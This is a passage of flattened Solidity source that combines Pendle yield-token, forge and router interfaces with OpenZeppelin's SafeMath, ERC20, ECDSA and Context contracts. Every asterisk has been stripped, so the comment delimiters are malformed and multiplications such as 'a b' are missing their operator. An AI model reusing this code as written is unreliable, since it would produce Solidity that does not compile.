require(to != address(this), "SEND_TO_TOKEN_CONTRACT"); require(to != from, "SEND_TO_SELF"); } } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; interface IPendleYieldTokenCommon { /* * @notice Emitted when burning OT or XYT tokens. * @param user The address performing the burn. * @param amount The amount to be burned. / event Burn(address indexed user, uint256 amount); / * @notice Emitted when minting OT or XYT tokens. * @param user The address performing the mint. * @param amount The amount to be minted. / event Mint(address indexed user, uint256 amount); / * @notice Burns OT or XYT tokens from user, reducing the total supply. * @param user The address performing the burn. * @param amount The amount to be burned. / function burn(address user, uint256 amount) external; / * @notice Mints new OT or XYT tokens for user, increasing the total supply. * @param user The address to send the minted tokens. * @param amount The amount to be minted. / function mint(address user, uint256 amount) external; / * @notice Gets the forge address of the PendleForge contract for this yield token. * @return Retuns the forge address. / function forge() external view returns (address); / * @notice Returns the address of the underlying asset. * @return Returns the underlying asset address. / function underlyingAsset() external view returns (address); / * @notice Returns the address of the underlying yield token. * @return Returns the underlying yield token address. */ function underlyingYieldToken() external view returns (address); } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; import "./IPendleRouter.sol"; import "./IPendleRewardManager.sol"; import "./IPendleYieldContractDeployer.sol"; import "./IPendleData.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPendleForge { /* * @dev Emitted when the Forge has minted the OT and XYT tokens. * @param forgeId The forgeId * @param underlyingAsset The address of the underlying yield token. * @param expiry The expiry of the XYT token * @param amountToTokenize The amount of yield bearing assets to tokenize * @param amountTokenMinted The amount of OT/XYT minted / event MintYieldTokens( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amountToTokenize, uint256 amountTokenMinted, address indexed user ); / * @dev Emitted when the Forge has created new yield token contracts. * @param forgeId The forgeId * @param underlyingAsset The address of the underlying asset. * @param expiry The date in epoch time when the contract will expire. * @param ot The address of the ownership token. * @param xyt The address of the new future yield token. / event NewYieldContracts( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, address ot, address xyt, address yieldBearingAsset ); / * @dev Emitted when the Forge has redeemed the OT and XYT tokens. * @param forgeId The forgeId * @param underlyingAsset the address of the underlying asset * @param expiry The expiry of the XYT token * @param amountToRedeem The amount of OT to be redeemed. * @param redeemedAmount The amount of yield token received / event RedeemYieldToken( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amountToRedeem, uint256 redeemedAmount, address indexed user ); / * @dev Emitted when interest claim is settled * @param forgeId The forgeId * @param underlyingAsset the address of the underlying asset * @param expiry The expiry of the XYT token * @param user Interest receiver Address * @param amount The amount of interest claimed / event DueInterestsSettled( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amount, uint256 forgeFeeAmount, address indexed user ); / * @dev Emitted when forge fee is withdrawn * @param forgeId The forgeId * @param underlyingAsset the address of the underlying asset * @param expiry The expiry of the XYT token * @param amount The amount of interest claimed / event ForgeFeeWithdrawn( bytes32 forgeId, address indexed underlyingAsset, uint256 indexed expiry, uint256 amount ); function setUpEmergencyMode( address _underlyingAsset, uint256 _expiry, address spender ) external; function newYieldContracts(address underlyingAsset, uint256 expiry) external returns (address ot, address xyt); function redeemAfterExpiry( address user, address underlyingAsset, uint256 expiry ) external returns (uint256 redeemedAmount); function redeemDueInterests( address user, address underlyingAsset, uint256 expiry ) external returns (uint256 interests); function updateDueInterests( address underlyingAsset, uint256 expiry, address user ) external; function updatePendingRewards( address _underlyingAsset, uint256 _expiry, address _user ) external; function redeemUnderlying( address user, address underlyingAsset, uint256 expiry, uint256 amountToRedeem ) external returns (uint256 redeemedAmount); function mintOtAndXyt( address underlyingAsset, uint256 expiry, uint256 amountToTokenize, address to ) external returns ( address ot, address xyt, uint256 amountTokenMinted ); function withdrawForgeFee(address underlyingAsset, uint256 expiry) external; function getYieldBearingToken(address underlyingAsset) external returns (address); / * @notice Gets a reference to the PendleRouter contract. * @return Returns the router contract reference. / function router() external view returns (IPendleRouter); function data() external view returns (IPendleData); function rewardManager() external view returns (IPendleRewardManager); function yieldContractDeployer() external view returns (IPendleYieldContractDeployer); function rewardToken() external view returns (IERC20); / * @notice Gets the bytes32 ID of the forge. * @return Returns the forge and protocol identifier. / function forgeId() external view returns (bytes32); function dueInterests( address _underlyingAsset, uint256 expiry, address _user ) external view returns (uint256); function yieldTokenHolders(address _underlyingAsset, uint256 _expiry) external view returns (address yieldTokenHolder); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; / * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view virtual returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. / library ECDSA { /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /* * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. / function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 \|\| v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /* * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPendleBaseToken is IERC20 { /* * @notice Decreases the allowance granted to spender by the caller. * @param spender The address to reduce the allowance from. * @param subtractedValue The amount allowance to subtract. * @return Returns true if allowance has decreased, otherwise false. / function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); / * @notice The yield contract start in epoch time. * @return Returns the yield start date. / function start() external view returns (uint256); / * @notice The yield contract expiry in epoch time. * @return Returns the yield expiry date. / function expiry() external view returns (uint256); / * @notice Increases the allowance granted to spender by the caller. * @param spender The address to increase the allowance from. * @param addedValue The amount allowance to add. * @return Returns true if allowance has increased, otherwise false / function increaseAllowance(address spender, uint256 addedValue) external returns (bool); / * @notice Returns the number of decimals the token uses. * @return Returns the token's decimals. / function decimals() external view returns (uint8); / * @notice Returns the name of the token. * @return Returns the token's name. / function name() external view returns (string memory); / * @notice Returns the symbol of the token. * @return Returns the token's symbol. / function symbol() external view returns (string memory); / * @notice approve using the owner's signature */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: MIT / * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / pragma solidity 0.7.6; pragma abicoder v2; import "../interfaces/IWETH.sol"; import "./IPendleData.sol"; import "../libraries/PendleStructs.sol"; import "./IPendleMarketFactory.sol"; interface IPendleRouter { /* * @notice Emitted when a market for a future yield token and an ERC20 token is created. * @param marketFactoryId Forge identifier. * @param xyt The address of the tokenized future yield token as the base asset. * @param token The address of an ERC20 token as the quote asset. * @param market The address of the newly created market. / event MarketCreated( bytes32 marketFactoryId, address indexed xyt, address indexed token, address indexed market ); / * @notice Emitted when a swap happens on the market. * @param trader The address of msg.sender. * @param inToken The input token. * @param outToken The output token. * @param exactIn The exact amount being traded. * @param exactOut The exact amount received. * @param market The market address. / event SwapEvent( address indexed trader, address inToken, address outToken, uint256 exactIn, uint256 exactOut, address market ); / * @dev Emitted when user adds liquidity * @param sender The user who added liquidity. * @param token0Amount the amount of token0 (xyt) provided by user * @param token1Amount the amount of token1 provided by user * @param market The market address. * @param exactOutLp The exact LP minted / event Join( address indexed sender, uint256 token0Amount, uint256 token1Amount, address market, uint256 exactOutLp ); /* * @dev Emitted when user removes liquidity * @param sender The user who removed liquidity. * @param token0Amount the amount of token0 (xyt) given to user * @param token1Amount the amount of token1 given to user * @param market The market address. * @param exactInLp The exact Lp to remove / event Exit( address indexed sender, uint256 token0Amount, uint256 token1Amount, address market, uint256 exactInLp ); /* * @notice Gets a reference to the PendleData contract. * @return Returns the data contract reference. / function data() external view returns (IPendleData); / * @notice Gets a reference of the WETH9 token contract address. * @return WETH token reference. / function weth() external view returns (IWETH); /********* * FORGE * *********/ function newYieldContracts( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external returns (address ot, address xyt); function redeemAfterExpiry( bytes32 forgeId, address underlyingAsset, uint256 expiry ) external returns (uint256 redeemedAmount); function redeemDueInterests( bytes32 forgeId, address underlyingAsset, uint256 expiry, address user ) external returns (uint256 interests); function redeemUnderlying( bytes32 forgeId, address underlyingAsset, uint256 expiry, uint256 amountToRedeem ) external returns (uint256 redeemedAmount); function renewYield( bytes32 forgeId, uint256 oldExpiry, address underlyingAsset, uint256 newExpiry, uint256 renewalRate ) external returns ( uint256 redeemedAmount, uint256 amountRenewed, address ot, address xyt, uint256 amountTokenMinted ); function tokenizeYield( bytes32 forgeId, address underlyingAsset, uint256 expiry, uint256 amountToTokenize, address to ) external returns ( address ot, address xyt, uint256 amountTokenMinted ); /********* * MARKET * *********/ function addMarketLiquidityDual( bytes32 _marketFactoryId, address _xyt, address _token, uint256 _desiredXytAmount, uint256 _desiredTokenAmount, uint256 _xytMinAmount, uint256 _tokenMinAmount ) external payable returns ( uint256 amountXytUsed, uint256 amountTokenUsed, uint256 lpOut ); function addMarketLiquiditySingle( bytes32 marketFactoryId, address xyt, address token, bool forXyt, uint256 exactInAsset, uint256 minOutLp ) external payable returns (uint256 exactOutLp); function removeMarketLiquidityDual( bytes32 marketFactoryId, address xyt, address token, uint256 exactInLp, uint256 minOutXyt, uint256 minOutToken ) external returns (uint256 exactOutXyt, uint256 exactOutToken); function removeMarketLiquiditySingle( bytes32 marketFactoryId, address xyt, address token, bool forXyt, uint256 exactInLp, uint256 minOutAsset ) external returns (uint256 exactOutXyt, uint256 exactOutToken); / * @notice Creates a market given a protocol ID, future yield token, and an ERC20 token. * @param marketFactoryId Market Factory identifier. * @param xyt Token address of the future yield token as base asset. * @param token Token address of an ERC20 token as quote asset. * @return market Returns the address of the newly created market. */ function createMarket( bytes32 marketFactoryId, address xyt, address token ) external returns (address market); function bootstrapMarket( bytes32 marketFactoryId, address xyt, address token, uint256 initialXytLiquidity, uint256 initialTokenLiquidity ) external payable; function swapExactIn( address tokenIn, address tokenOut, uint256 inTotalAmount, uint256 minOutTotalAmount, bytes32 marketFactoryId ) external payable returns (uint256 outTotalAmount); function swapExactOut( address tokenIn, address tokenOut, uint256 outTotalAmount, uint256 maxInTotalAmount, bytes32 marketFactoryId ) external payable returns (uint256 inTotalAmount); function redeemLpInterests(address market, address user) external returns (uint256 interests); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event 